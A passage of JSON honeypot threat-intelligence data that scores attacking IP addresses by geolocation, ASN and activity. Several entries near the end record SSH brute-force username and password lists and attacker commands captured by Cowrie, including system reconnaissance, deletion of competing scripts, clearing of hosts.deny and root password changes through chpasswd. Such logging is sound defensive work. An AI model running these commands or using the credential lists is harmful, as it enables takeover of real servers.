      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:04:06.172000+00:00",
        "last_seen_30d": "2026-04-28T18:05:16.195000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.155.53.96": {
      "attack_count": 2,
      "first_seen": "2026-04-23T22:09:26.667Z",
      "last_seen": "2026-04-23T22:09:38.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T22:09:26.667000+00:00",
        "last_seen_30d": "2026-04-23T22:10:45.838000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.240.237.18": {
      "attack_count": 2,
      "first_seen": "2026-04-07T14:46:36.847Z",
      "last_seen": "2026-04-07T14:46:51.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T14:46:36.847000+00:00",
        "last_seen_30d": "2026-04-07T14:47:54.997000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.236.29.106": {
      "attack_count": 2,
      "first_seen": "2026-04-01T11:16:39.094Z",
      "last_seen": "2026-04-01T11:16:52.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 131090,
      "as_org": "National Telecom Public Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:16:39.094000+00:00",
        "last_seen_30d": "2026-04-01T11:17:55.765000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.18.20.80": {
      "attack_count": 2,
      "first_seen": "2026-04-04T22:39:41.126Z",
      "last_seen": "2026-04-04T22:40:11.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:39:41.126000+00:00",
        "last_seen_30d": "2026-04-04T22:41:20.665000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "160.250.28.60": {
      "attack_count": 2,
      "first_seen": "2026-04-22T14:32:36.086Z",
      "last_seen": "2026-04-22T14:33:10.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135269,
      "as_org": "Fast 4 Technologies",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T14:32:36.086000+00:00",
        "last_seen_30d": "2026-04-22T14:34:12.210000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "163.61.39.140": {
      "attack_count": 2,
      "first_seen": "2026-04-05T23:16:59.414Z",
      "last_seen": "2026-04-05T23:17:29.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 152565,
      "as_org": "JOY SERVICES",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T23:16:59.414000+00:00",
        "last_seen_30d": "2026-04-25T18:59:27.223000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Tanner": 12,
        "Cowrie": 2
      }
    },
    "165.73.183.12": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:10:08.867Z",
      "last_seen": "2026-04-30T07:10:21.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Thembisa",
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:10:08.867000+00:00",
        "last_seen_30d": "2026-04-30T07:11:25.271000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.156.104.198": {
      "attack_count": 2,
      "first_seen": "2026-04-18T13:52:29.381Z",
      "last_seen": "2026-04-18T13:52:42.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55441,
      "as_org": "TTSL-ISP DIVISION",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T13:52:29.381000+00:00",
        "last_seen_30d": "2026-04-18T13:53:47.412000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.147.98.103": {
      "attack_count": 2,
      "first_seen": "2026-04-22T02:29:12.403Z",
      "last_seen": "2026-04-22T02:29:24.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:29:12.403000+00:00",
        "last_seen_30d": "2026-04-22T02:30:26.090000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.28.222.74": {
      "attack_count": 2,
      "first_seen": "2026-04-30T23:04:14.687Z",
      "last_seen": "2026-04-30T23:04:27.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T23:04:14.687000+00:00",
        "last_seen_30d": "2026-04-30T23:05:30.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.163.193.91": {
      "attack_count": 2,
      "first_seen": "2026-04-30T13:33:46.080Z",
      "last_seen": "2026-04-30T13:33:58.287Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Samarkand",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:33:46.080000+00:00",
        "last_seen_30d": "2026-04-30T13:35:00.640000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.199": {
      "attack_count": 2,
      "first_seen": "2026-04-25T19:34:52.464Z",
      "last_seen": "2026-04-25T19:35:02.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T04:41:50+00:00",
        "last_seen_30d": "2026-04-28T23:49:36.806000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 25,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "207.244.226.215": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:41:39.373Z",
      "last_seen": "2026-04-30T19:42:10.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:41:39.373000+00:00",
        "last_seen_30d": "2026-04-30T19:43:11.618000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "211.232.241.136": {
      "attack_count": 2,
      "first_seen": "2026-04-28T19:59:06.653Z",
      "last_seen": "2026-04-28T19:59:20.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17854,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:59:06.653000+00:00",
        "last_seen_30d": "2026-04-28T20:00:26.939000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.95.64.40": {
      "attack_count": 2,
      "first_seen": "2026-04-28T10:12:42.660Z",
      "last_seen": "2026-04-28T10:12:55.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:12:42.660000+00:00",
        "last_seen_30d": "2026-04-28T10:13:58.394000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.199.188.197": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:41.063Z",
      "last_seen": "2026-04-29T04:11:41.507Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:11:41.063000+00:00",
        "last_seen_30d": "2026-04-29T04:12:44.198000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "223.233.123.48": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:58:01.845Z",
      "last_seen": "2026-04-30T05:58:14.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:58:01.845000+00:00",
        "last_seen_30d": "2026-04-30T05:59:24.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.107.13.59": {
      "attack_count": 2,
      "first_seen": "2026-04-06T02:55:36.205Z",
      "last_seen": "2026-04-06T02:55:48.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Sharjah",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T02:55:36.205000+00:00",
        "last_seen_30d": "2026-04-06T02:56:56.521000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.152.178.177": {
      "attack_count": 2,
      "first_seen": "2026-04-15T02:58:55.105Z",
      "last_seen": "2026-04-15T02:59:08.403Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T02:58:55.105000+00:00",
        "last_seen_30d": "2026-04-15T03:00:17.707000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.25.1.208": {
      "attack_count": 2,
      "first_seen": "2026-04-09T23:43:56.310Z",
      "last_seen": "2026-04-09T23:44:09.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Tangjin",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:43:56.310000+00:00",
        "last_seen_30d": "2026-04-09T23:45:13.955000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.151": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:35:14.235Z",
      "last_seen": "2026-04-11T12:35:24.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 28,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T16:10:07+00:00",
        "last_seen_30d": "2026-04-28T09:38:53.229000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 41,
        "Cowrie": 2
      }
    },
    "101.36.108.213": {
      "attack_count": 860,
      "first_seen": "2026-04-02T02:15:22.455Z",
      "last_seen": "2026-04-28T16:28:08.945Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "user",
        "admin",
        "ali",
        "claude",
        "dell",
        "hh",
        "java",
        "pool",
        "postgres",
        "sftptest",
        "teamspeak",
        "under",
        "vpn",
        "webuser",
        "west"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx",
        "11111",
        "1234!@#$Qwer",
        "1234.QWERTY",
        "1234.asd",
        "1234567a",
        "123456Qq.",
        "123456mn",
        "123oki:",
        "123qwe!QAZ",
        "1qaz1QAZ",
        "1qazxsw2!@",
        "66123456",
        "8080",
        "A-123456",
        "Admin@123123",
        "Admin@123456!",
        "Asd12345@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root1234\\n6rT9zpEQRRB7\\n6rT9zpEQRRB7\\n\"|passwd",
        "echo \"root:PO7pGeI3A9fQ\"|chpasswd|bash",
        "echo \"root:QubGLra6zh7v\"|chpasswd|bash",
        "echo \"root:nHZ90YvWtKgV\"|chpasswd|bash",
        "echo \"root:s7yVjfQyf474\"|chpasswd|bash",
        "echo \"user06!\\n75opIVe1ZFzU\\n75opIVe1ZFzU\\n\"|passwd",
        "echo -e \"root1234\\n6rT9zpEQRRB7\\n6rT9zpEQRRB7\"|passwd|bash",
        "echo -e \"user06!\\n75opIVe1ZFzU\\n75opIVe1ZFzU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1096,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:15:22.455000+00:00",
        "last_seen_30d": "2026-04-28T16:29:13.797000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 860,
        "Suricata": 236
      }
    },
    "27.79.40.144": {
      "attack_count": 662,
      "first_seen": "2026-04-29T19:56:35.656Z",
      "last_seen": "2026-04-29T20:34:42.184Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test",
        "cisco",
        "developer",
        "*****",
        "123456",
        "ace",
        "admian",
        "anton",
        "ashish",
        "auto",
        "belkinstyle",
        "bin",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "cpanel"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "password",
        "1234",
        "12345",
        "abc123",
        "*****",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "112233",
        "123",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 941,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:56:35.656000+00:00",
        "last_seen_30d": "2026-04-29T20:35:43.792000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 662,
        "Suricata": 279
      }
    },
    "165.154.6.127": {
      "attack_count": 620,
      "first_seen": "2026-04-26T06:31:20.507Z",
      "last_seen": "2026-04-29T04:31:56.067Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "user",
        "newuser",
        "ec2-user",
        "ftpuser",
        "jenkins",
        "minecraft",
        "Test",
        "appserver",
        "bot",
        "deploy",
        "deployer",
        "developers",
        "devops",
        "elasticsearch",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "12345",
        "142536",
        "147258369",
        "222222",
        "Admin123",
        "Admin123!@",
        "Admin12345678!@#",
        "Admin31!",
        "Bot13!",
        "Frappe!@#$",
        "Hello@123",
        "KS@gshyx@zl1651",
        "P@ssw0rd",
        "Qazwsx1111111@",
        "Teamspeak13!",
        "ZAQ!2wsx54321#$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nyhVZpQ5sIjUh\\nyhVZpQ5sIjUh\\n\"|passwd",
        "echo \"Admin31!\\nnzTQwtADVhTO\\nnzTQwtADVhTO\\n\"|passwd",
        "echo \"jenkins1\\ndaY6lENYTqoC\\ndaY6lENYTqoC\\n\"|passwd",
        "echo \"password1234\\nk8zGbkzgQQfk\\nk8zGbkzgQQfk\\n\"|passwd",
